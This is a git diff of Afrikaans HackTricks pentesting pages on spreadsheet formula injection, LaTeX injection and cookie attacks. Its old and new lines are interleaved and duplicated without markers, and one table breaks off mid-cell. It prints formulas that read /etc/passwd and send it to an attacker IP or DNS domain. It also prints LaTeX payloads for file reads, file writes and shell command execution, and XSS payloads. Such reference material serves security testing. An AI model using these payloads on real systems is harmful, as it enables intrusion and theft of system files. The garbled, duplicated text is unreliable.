- Voer die geleesde data uit na 'n aanvaller-beheerde bediener: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
- Voer meer as een lyn uit: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
- DNS-uitvoer (stuur geleesde data as DNS-navrae na 'n aanvaller-beheerde DNS-bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<aanvaller domein>"))`
|
||||
* Die eerste lyn van die plaaslike `/etc/passwd` lêer lees: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Die geleesde data na 'n aanvaller-beheerde bediener uitvoer: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Meer as een lyn uitvoer: `=WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS data uitvoer (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<aanvaller domein>"))`
|
||||
|
||||
### Google Sheets vir Out-of-Band (OOB) Data Uitvoer
|
||||
|
||||
Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer:
|
||||
|
||||
- **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)`
|
||||
- **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
- **IMPORTFEED**: Importeer RSS- of ATOM-voer - `=IMPORTFEED(CONCAT("http://<aanvaller IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
- **IMPORTHTML**: Importeer data van HTML-tabelle of -lyste - `=IMPORTHTML (CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
- **IMPORTRANGE**: Importeer 'n reeks selle van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
- **IMAGE**: Voeg 'n prent in 'n sel in - `=IMAGE("https://<aanvaller IP:Port>/images/srpr/logo3w.png")`
|
||||
* **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: Importeer RSS of ATOM voer - `=IMPORTFEED(CONCAT("http://<aanvaller IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: Importeer data van HTML tabelle of lys - `=IMPORTHTML (CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: Importeer 'n reeks selle van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: Voeg 'n prent in 'n sel in - `=IMAGE("https://<aanvaller IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX Inspruiting
|
||||
|
||||
## LaTeX Injeksie
|
||||
Gewoonlik gebruik die bedieners wat jy op die internet vind wat **LaTeX-kode na PDF omskakel** die **`pdflatex`**.\
|
||||
Hierdie program gebruik 3 hoof eienskappe om opdraguitvoering toe te laat of te verhoed:
|
||||
|
||||
Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX-kode na PDF omskakel** die program **`pdflatex`**.\
|
||||
Hierdie program gebruik 3 hoofkenmerke om opdraguitvoering toe te laat of te verhoed:
|
||||
* **`--no-shell-escape`**: **Deaktiveer** die `\write18{opdrag}` konstruksie, selfs as dit in die texmf.cnf lêer geaktiveer is.
|
||||
* **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Aktiveer** die `\write18{opdrag}` konstruksie. Die opdrag kan enige skel opdrag wees. Hierdie konstruksie word normaalweg verhoed vir veiligheidsredes.
|
||||
|
||||
* **`--no-shell-escape`**: **Deaktiveer** die `\write18{opdrag}` konstruk, selfs as dit in die texmf.cnf-lêer geaktiveer is.
|
||||
* **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgeskrewe** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Aktiveer** die `\write18{opdrag}` konstruk. Die opdrag kan enige skelopdrag wees. Hierdie konstruk word normaalweg verhoed vir veiligheidsredes.
|
||||
|
||||
Daar is egter ander maniere om opdragte uit te voer, so dit is baie belangrik om `--shell-restricted` te gebruik om RCE te voorkom.
|
||||
Daar is egter ander maniere om opdragte uit te voer, dus om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik.
|
||||
|
||||
### Lees lêer <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Jy mag dalk die inspuiting met omhulsels soos \[ of $ moet aanpas.
|
||||
Jy mag nodig wees om inspuiting met omhulsels soos \[ of $ aan te pas.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -124,22 +111,7 @@ Jy mag dalk die inspuiting met omhulsels soos \[ of $ moet aanpas.
|
|||
\usepackage{verbatim}
|
||||
\verbatiminput{/etc/passwd}
|
||||
```
|
||||
#### Lees enkelvoudige lynlêer
|
||||
|
||||
Om 'n enkelvoudige lynlêer te lees, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die lêer wat jy wil lees.
|
||||
2. Gebruik die toepaslike opdrag om die lêer te lees. Byvoorbeeld, as jy die `cat`-opdrag gebruik, tik dan die volgende in die opdragreël:
|
||||
|
||||
```bash
|
||||
cat lêernaam
|
||||
```
|
||||
|
||||
Vervang "lêernaam" met die naam van die lêer wat jy wil lees.
|
||||
|
||||
3. Die inhoud van die enkelvoudige lynlêer sal op die skerm vertoon word.
|
||||
|
||||
Onthou om altyd die nodige toestemmings te hê om die lêer te lees.
|
||||
#### Lees enkellinige lêer
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
|
@ -148,24 +120,6 @@ Onthou om altyd die nodige toestemmings te hê om die lêer te lees.
|
|||
\closein\file
|
||||
```
|
||||
#### Lees 'n lêer met meerdere lyne
|
||||
|
||||
Om 'n lêer met meerdere lyne te lees, kan jy die volgende stappe volg:
|
||||
|
||||
1. Maak 'n veranderlike om die lêernaam te stoor, byvoorbeeld `lêernaam = "lêernaam.txt"`.
|
||||
2. Maak 'n leserobjek aan om die lêer te lees, byvoorbeeld `leser = open(lêernaam, "r")`.
|
||||
3. Gebruik die `readlines()`-metode om die inhoud van die lêer te lees en dit in 'n lys van lyne te stoor, byvoorbeeld `lyne = leser.readlines()`.
|
||||
4. Sluit die leserobjek deur die `close()`-metode te gebruik, byvoorbeeld `leser.close()`.
|
||||
|
||||
Hier is 'n voorbeeld van hoe jy hierdie stappe kan implementeer:
|
||||
|
||||
```python
|
||||
lêernaam = "lêernaam.txt"
|
||||
leser = open(lêernaam, "r")
|
||||
lyne = leser.readlines()
|
||||
leser.close()
|
||||
```
|
||||
|
||||
Nadat jy hierdie stappe gevolg het, sal die `lyne`-lys die inhoud van die lêer bevat, met elke lyn as 'n afsonderlike element in die lys.
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
@ -175,16 +129,16 @@ Nadat jy hierdie stappe gevolg het, sal die `lyne`-lys die inhoud van die lêer
|
|||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### Skryf lêer <a href="#write-file" id="write-file"></a>
|
||||
### Skryf lêer <a href="#skryf-lêer" id="skryf-lêer"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Opdrag uitvoering <a href="#opdrag-uitvoering" id="opdrag-uitvoering"></a>
|
||||
### Opdraguitvoering <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
Die inset van die opdrag sal omgelei word na stdin, gebruik 'n tydelike lêer om dit te kry.
|
||||
Die invoer van die opdrag sal na stdin omgelei word, gebruik 'n tydelike lêer om dit te kry.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -207,7 +161,7 @@ Die inset van die opdrag sal omgelei word na stdin, gebruik 'n tydelike lêer om
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
As jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat sonder slegte karakters te kry.
|
||||
Indien jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat te kry sonder slegte karakters.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -217,16 +171,14 @@ As jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat sonder
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Kruiswebkriptering <a href="#kruiswebkriptering" id="kruiswebkriptering"></a>
|
||||
|
||||
Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
### Kruissite Skrifinjeksie <a href="#kruissite-skrifinjeksie" id="kruissite-skrifinjeksie"></a>
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Ghostscript-injectering
|
||||
## Ghostscript Injeksie
|
||||
|
||||
**Kyk [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
|
||||
**Kyk** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -235,22 +187,16 @@ Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,86 +2,117 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Koekie Eienskappe
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Koekiekenmerke
|
||||
|
||||
Koekies kom met verskeie kenmerke wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie kenmerke in 'n meer passiewe stem:
|
||||
Koekies kom met verskeie eienskappe wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie eienskappe in 'n meer passiewe stem:
|
||||
|
||||
### Verval en Maksimum-Ouderdom
|
||||
|
||||
Die vervaldatum van 'n koekie word bepaal deur die `Expires`-kenmerk. Omgekeerd bepaal die `Max-age`-kenmerk die tyd in sekondes tot 'n koekie uitgevee word. **Kies eerder `Max-age` omdat dit meer moderne praktyke weerspieël.**
|
||||
Die verval datum van 'n koekie word bepaal deur die `Expires` eienskap. Omgekeerd, definieer die `Max-age` eienskap die tyd in sekondes totdat 'n koekie verwyder word. **Kies `Max-age` aangesien dit meer moderne praktyke weerspieël.**
|
||||
|
||||
### Domein
|
||||
|
||||
Die gasheer wat 'n koekie ontvang, word deur die `Domain`-kenmerk gespesifiseer. Standaard word dit ingestel op die gasheer wat die koekie uitgereik het, sonder sy subdomeine. Wanneer die `Domain`-kenmerk egter eksplisiet ingestel is, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain`-kenmerk 'n minder beperkende opsie, wat nuttig is vir scenario's waar koekiedeling oor subdomeine nodig is. Byvoorbeeld, deur `Domain=mozilla.org` in te stel, is koekies toeganklik op sy subdomeine soos `developer.mozilla.org`.
|
||||
Die gasheer wat 'n koekie moet ontvang, word gespesifiseer deur die `Domain` eienskap. Standaard word dit ingestel op die gasheer wat die koekie uitgereik het, sonder sy subdomeine in te sluit. Wanneer die `Domain` eienskap egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` eienskap 'n minder beperkende opsie, nuttig vir scenario's waar koekiedeling oor subdomeine nodig is. Byvoorbeeld, deur `Domain=mozilla.org` in te stel, word koekies toeganklik op sy subdomeine soos `developer.mozilla.org`.
|
||||
|
||||
### Pad
|
||||
|
||||
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie`-kop om gestuur te word, word aangedui deur die `Path`-kenmerk. Hierdie kenmerk beskou die `/`-karakter as 'n gidsafdeling en maak dit moontlik om ook in subgidse te pas.
|
||||
'n Spesifieke URL-pad wat teenwoordig moet wees in die versoekte URL vir die `Cookie`-kop om gestuur te word, word aangedui deur die `Path` eienskap. Hierdie eienskap beskou die `/` karakter as 'n gidsafskeider, wat wedstryde in subdossiers moontlik maak.
|
||||
|
||||
### Ordeningsreëls
|
||||
### Bestellingsreëls
|
||||
|
||||
Wanneer twee koekies dieselfde naam dra, word die een wat gekies word om gestuur te word, gebaseer op:
|
||||
- Die koekie wat die langste pad in die versoekte URL pas.
|
||||
- Die mees onlangs ingestelde koekie as die paaie identies is.
|
||||
Wanneer twee koekies dieselfde naam dra, word die een wat vir die stuur gekies is, gebaseer op:
|
||||
|
||||
* Die koekie wat die langste pad in die versoekte URL pas.
|
||||
* Die mees onlangs ingestelde koekie as die paaie identies is.
|
||||
|
||||
### SameSite
|
||||
|
||||
- Die `SameSite`-kenmerk bepaal of koekies gestuur word met versoekers wat afkomstig is van derdeparty-domeine. Dit bied drie instellings:
|
||||
- **Streng**: Beperk die koekie om gestuur te word met versoekers van derdeparty-webwerwe.
|
||||
- **Laks**: Laat die koekie toe om gestuur te word met GET-versoekers wat deur derdeparty-webwerwe geïnisieer word.
|
||||
- **Geen**: Maak dit moontlik dat die koekie vanaf enige derdeparty-domein gestuur word.
|
||||
* Die `SameSite` eienskap bepaal of koekies gestuur word met versoek vanaf derdeparty-domeine. Dit bied drie instellings:
|
||||
* **Streng**: Beperk die koekie vanaf gestuur word met derdeparty-versoeke.
|
||||
* **Laks**: Laat die koekie toe om gestuur te word met GET-versoeke wat deur derdeparty-webwerwe geïnisieer is.
|
||||
* **Geen**: Laat die koekie toe om vanaf enige derdeparty-domein gestuur te word.
|
||||
|
||||
Onthou, by die konfigurering van koekies kan die begrip van hierdie kenmerke help om te verseker dat hulle soos verwag gedra in verskillende scenario's.
|
||||
Onthou, terwyl jy koekies konfigureer, kan begrip van hierdie eienskappe help om te verseker dat hulle soos verwag optree oor verskillende scenario's.
|
||||
|
||||
| **Versoek Tipe** | **Voorbeeld Kode** | **Koekies Gestuur Wanneer** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Skakel | \<a href="...">\</a> | NotSet\*, Laks, Geen |
|
||||
| Voorlaai | \<link rel="prerender" href=".."/> | NotSet\*, Laks, Geen |
|
||||
| Vorm KRY | \<form method="GET" action="..."> | NotSet\*, Laks, Geen |
|
||||
| Vorm POS | \<form method="POST" action="..."> | NotSet\*, Geen |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, Geen |
|
||||
| AJAX | $.get("...") | NotSet\*, Geen |
|
||||
| Beeld | \<img src="..."> | NetSet\*, Geen |
|
||||
|
||||
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens aangepas.\
|
||||
'n Koekie met _**SameSite**_ eienskap sal **CSRF-aanvalle verswak** waar 'n ingeteken sessie benodig word.
|
||||
|
||||
**\*Let op dat vanaf Chrome80 (feb/2019) die verstekgedrag van 'n koekie sonder 'n koekie samesite** **eienskap laks sal wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome as **Geen** gedurende die **eerste 2 minute en dan as Laks vir top-vlak kruis-webwerf POS-versoek** **behandel sal word.**
|
||||
|
||||
## Koekies Vlae
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Dit voorkom dat die **kliënt** die koekie kan benader (Via **Javascript** byvoorbeeld: `document.cookie`)
|
||||
|
||||
#### **Omgang**
|
||||
|
||||
* As die bladsy die koekies **stuur as die respons** van 'n versoek (byvoorbeeld in 'n **PHPinfo**-bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en die koekies uit die respons te **steel** (kyk na 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Dit kan omseil word met **TRACE** **HTTP** versoek as die respons van die bediener (indien hierdie HTTP-metode beskikbaar is) die gestuurde koekies sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
|
||||
* Hierdie tegniek word vermy deur **moderne blaaier deur nie toe te laat dat 'n TRACE** versoek vanaf JS gestuur word nie. Tog is daar 'n paar omseilings hiervan gevind in spesifieke sagteware soos die stuur van `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2.
|
||||
* 'n Ander manier is die uitbuiting van zero/day kwesbaarhede van die blaaier.
|
||||
* Dit is moontlik om **HttpOnly-koekies te oorskryf** deur 'n Koekiepot-oorvloeiingsaanval uit te voer:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Dit is moontlik om [**Koekie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te eksfiltreer
|
||||
|
||||
### Veilig
|
||||
|
||||
Die versoek sal die koekie **alleenlik** stuur in 'n HTTP-versoek as die versoek oorgedra word oor 'n veilige kanaal (tipies **HTTPS**).
|
||||
|
||||
| **Versoekt
|
||||
## Koekies Voorvoegsels
|
||||
|
||||
Koekies met die voorvoegsel `__Secure-` moet saam met die `secure` vlag gestel word op bladsye wat deur HTTPS beveilig is.
|
||||
Koekies met die voorvoegsel `__Secure-` moet saam met die `secure` vlag ingestel word vanaf bladsye wat beveilig is deur HTTPS.
|
||||
|
||||
Vir koekies met die voorvoegsel `__Host-` moet verskeie voorwaardes voldoen word:
|
||||
- Hulle moet gestel word met die `secure` vlag.
|
||||
- Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
|
||||
- Dit is verbode om 'n domein te spesifiseer vir hierdie koekies, wat voorkom dat hulle na subdomeine gestuur word.
|
||||
- Die pad vir hierdie koekies moet op `/` gestel word.
|
||||
Vir koekies met die voorvoegsel `__Host-` moet aan verskeie voorwaardes voldoen word:
|
||||
|
||||
Dit is belangrik om daarop te let dat koekies met die voorvoegsel `__Host-` nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Daarom kan die gebruik van die `__Host-` voorvoegsel vir alle toepassingskoekies beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
|
||||
* Hulle moet met die `secure` vlag ingestel word.
|
||||
* Hulle moet afkomstig wees van 'n bladsy wat beveilig is deur HTTPS.
|
||||
* Dit is verbode om 'n domein te spesifiseer vir hierdie koekies, wat voorkom dat hulle na subdomeine gestuur word.
|
||||
* Die pad vir hierdie koekies moet op `/` ingestel word.
|
||||
|
||||
## Koekie Aanvalle
|
||||
Dit is belangrik om daarop te let dat koekies met die voorvoegsel `__Host-` nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om aansoekkoekies te isoleer. Gevolglik kan die gebruik van die `__Host-` voorvoegsel vir alle aansoekkoekies beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
|
||||
## Koekie-aanvalle
|
||||
|
||||
As 'n aangepaste koekie sensitiewe data bevat, moet dit nagegaan word (veral as jy 'n CTF speel), aangesien dit vatbaar kan wees vir aanvalle.
|
||||
As 'n aangepaste koekie sensitiewe data bevat, moet dit nagegaan word (veral as jy 'n CTF speel), aangesien dit dalk kwesbaar is.
|
||||
|
||||
### Dekodering en Manipulasie van Koekies
|
||||
### Dekodeer en Manipuleer Koekies
|
||||
|
||||
Sensitiewe data wat in koekies ingebed is, moet altyd nagegaan word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid stel aanvallers in staat om die inhoud van die koekie te verander en ander gebruikers na te boots deur hul gewysigde data terug in die koekie te kodeer.
|
||||
Sensitiewe data wat in koekies ingebed is, moet altyd deeglik ondersoek word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid stel aanvallers in staat om die inhoud van die koekie te verander en ander gebruikers te impersoneer deur hul gewysigde data terug in die koekie te kodeer.
|
||||
|
||||
### Sessie-ontvoering
|
||||
### Sessie Kaping
|
||||
|
||||
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongemagtigde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die legitieme gebruiker na-aap.
|
||||
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongemagtigde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die regmatige gebruiker impersoneer.
|
||||
|
||||
### Sessie-Fiksasie
|
||||
### Sessie Fixatie
|
||||
|
||||
In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te teken. As die toepassing nie 'n nuwe koekie toewys by inteken nie, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer na-aap. Hierdie tegniek steun op die slagoffer wat inteken met 'n koekie wat deur die aanvaller voorsien word.
|
||||
In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te teken. As die toepassing nie 'n nuwe koekie toewys met inteken nie, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer impersoneer. Hierdie tegniek steun op die slagoffer wat inteken met 'n koekie wat deur die aanvaller voorsien word.
|
||||
|
||||
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
||||
|
||||
|
@ -89,9 +120,9 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sessie-Skenking
|
||||
### Sessie Skenking
|
||||
|
||||
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie-koekie te gebruik. Die slagoffer, wat glo dat hulle in hul eie rekening ingeteken is, sal onbedoeld aksies uitvoer in die konteks van die aanvaller se rekening.
|
||||
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessiekoekie te gebruik. Die slagoffer, wat glo dat hulle by hul eie rekening ingeteken is, sal onbedoeld aksies uitvoer in die konteks van die aanvaller se rekening.
|
||||
|
||||
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
||||
|
||||
|
@ -103,22 +134,21 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
|
|||
|
||||
